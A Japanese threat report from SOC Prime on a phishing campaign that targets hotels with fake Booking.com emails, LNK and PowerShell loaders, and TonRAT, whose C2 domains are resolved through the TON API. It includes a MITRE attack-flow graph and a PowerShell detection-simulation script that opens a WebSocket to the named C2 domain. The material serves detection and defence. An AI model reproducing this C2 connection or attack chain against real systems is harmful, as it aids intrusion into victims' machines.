ホテル業界を標的にした不審なメールの技術分析

SOC Prime Team

フォローする

Detection stack

AIDR
Alert
ETL
Query

脅威レポート
攻撃フロー
検出
シミュレーション

概要

洗練された多段階マルウェアキャンペーンが、Booking.comの通知を装ったメールを通じてホテル業界を標的にしています。侵入の流れは、悪意のあるLNKファイル、PowerShellスクリプト、およびTonRATというNode.jsベースのリモートアクセス型トロイの木馬を組み合わせています。このオペレーションで最も注目すべき点の一つは、コマンド＆コントロールドメインを動的に取得するためにThe Open Network（TON）APIを使用していることであり、これにより伝統的なドメインベースのブロックが信頼性を失います。

調査

調査では、最初のZIPアーカイブにLNKファイルが含まれており、それがPowerShellを起動して二次スクリプトを取得するという、層状の実行フローが明らかになりました。そのスクリプトはAESを使用してTonRATと識別されたJavaScriptのペイロードを復号し、そこからダウンロードされた正規のNode.jsランタイムを介して実行します nodejs.org。アクティブになると、マルウェアはTONブロックチェーンAPIリクエストから取得したドメイン情報を使用して、WebSocketベースのコマンドコントロール通信を開始します。

緩和策

推奨される防御策には、PowerShellの実行を制限し、Node.jsランタイム（node.exe）の不正使用を注意深く監視し、異常なWebSocketトラフィックを検出することが含まれます。組織はTON APIへの接続も監視し、特に tonapi.ioへの接続に注意し、なりすましドメイン、不審な添付ファイル、およびホテルスタッフを標的としたフィッシングの誘惑をキャッチするためにメールフィルタリングを強化するべきです。

対応策

侵入が疑われる場合、セキュリティチームは追加のコマンドアンドコントロールトラフィックおよびデータ漏洩を防ぐため、影響を受けたエンドポイントを直ちに隔離する必要があります。PowerShellの操作ログおよびプロセス実行記録を不正な node.exe 活動がないかレビューする必要があります。既知のTonRAT JavaScriptハッシュのためのフォレンジック捜索も行うべきで、特定されたコマンドコントロールインフラストラクチャへの接続についても調査するべきです。

"graph TB %% クラス定義セクション classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc %% ノード定義 action_phishing["アクション – T1566.002 フィッシング：スピアフィッシングリンク 説明: 攻撃者はBooking.comを装ったメールを送信し、悪意のあるZIPファイルをダウンロードするリンクを含めます。"] class action_phishing action action_execution["T1204.002 ユーザー実行：悪意のあるファイル 説明: ユーザーはZIPアーカイブに含まれる.lnkファイルを実行します。"] class action_execution action process_cmd["T1059.003 コマンドとスクリプトインタープリター: Windowsコマンドシェル 説明: Invoke-WebRequestを使用したPowerShellコマンドによってトリガーされ、二次スクリプトをダウンロードします。"] class process_cmd process malware_script["T1027 難読化されたファイルまたは情報 説明: PowerShellスクリプトLE3f0MRT.ps1はAES暗号化を使用してJavaScriptファイル（TonRAT）を復号します。"] class malware_script malware action_transfer["T1105 ツールの転送 説明: マルウェアは正規のNode.jsランタイムをnodejs.orgからダウンロードしてペイロードを実行します。"] class action_transfer action action_indirect["T1202 間接コマンド実行 説明: 持続性を維持し、検出を回避するために使用されます。"] class action_indirect action action_resolution["T1568 動的解決 説明: TON API（tonapi.io）をクエリしてコマンド＆コントロールC2ドメインを取得します。"] class action_resolution action malware_tonrat["T1568 コマンド＆コントロール 説明: TonRATはWebSocketを介してECDHハンドシェイクを使用して暗号化されたC2通信を確立します。"] class malware_tonrat malware %% 接続 action_phishing –>|leads_to| action_execution action_execution –>|triggers| process_cmd process_cmd –>|downloads| malware_script malware_script –>|performs| action_transfer action_transfer –>|enables| action_indirect action_indirect –>|performs| action_resolution action_resolution –>|resolves_C2_for| malware_tonrat malware_tonrat –>|allows| action_indirect "

攻撃フロー

攻撃のナラティブとコマンド: 敵はWebSocketベースのコマンドアンドコントロール（C2）チャネルを確立することを目的としています。正規のトラフィックに溶け込むため、マルウェアは最初に tonapi.io サービスをクエリして、自身のC2インフラストラクチャを解決します。一旦「正規の」APIインタラクションが確立されると、マルウェアはWebSocketハンドシェイク（wss://）をハードコードされた悪意のあるドメイン zloapobikahy23.bondに対して開始します。このシーケンスは、TON APIの評判を利用して後続の悪意のある接続を隠すように設計されています。

リグレッションテストスクリプト:

# TonRAT WebSocket C2通信のシミュレーション
# ステップ1: TON APIとのインタラクションをシミュレート
Write-Host "[+] tonapi.ioとのインタラクションをシミュレート中..."
$api_url = "https://tonapi.io/v2/blockchain/accounts/EQ..."
Invoke-WebRequest -Uri $api_url -Method Get -UseBasicParsing

# ステップ2: 悪意のあるC2ドメインへのWebSocket接続をシミュレート
# 注: PowerShellクライアントを使用してWSSリクエストを開始し、'wss://'とドメインロジックをトリガー
Write-Host "[+] 悪意のあるドメインへのWebSocket接続をシミュレート中..."
$c2_url = "wss://zloapobikahy23.bond/control"

# テレメトリに'wss://'が存在することを確認するために.NET WebSocketsクライアントを使用
$ws = New-Object System.Net.WebSockets.ClientWebSocket
$cts = New-Object System.Threading.CancellationTokenSource
$uri = New-Object System.Uri($c2_url)

try {
    $task = $ws.ConnectAsync($uri, $cts.Token)
    # ログを生成するために成功した接続は必要なく、試みだけで良い。
    $task.Wait(5000) 
} catch {
    Write-Host "[!] 接続は期待通りに失敗しましたが（ドメインが存在しません）、テレメトリが生成されるはずです。"
} finally {
    $ws.Dispose()
}

クリーンアップコマンド:

# このスクリプトでは持続的なアーティファクトは作成されませんが、コンソールをクリアします
Clear-Host
Write-Host "シミュレーションクリーンアップが完了しました。"

SOC PrimeのDetection as Codeプラットフォームに参加し ビジネスに最も関連性のある脅威に対する可視性を向上させましょう。開始して即座に価値をもたらすためには、今すぐSOC Primeの専門家とのミーティングを予約してください。

無料で参加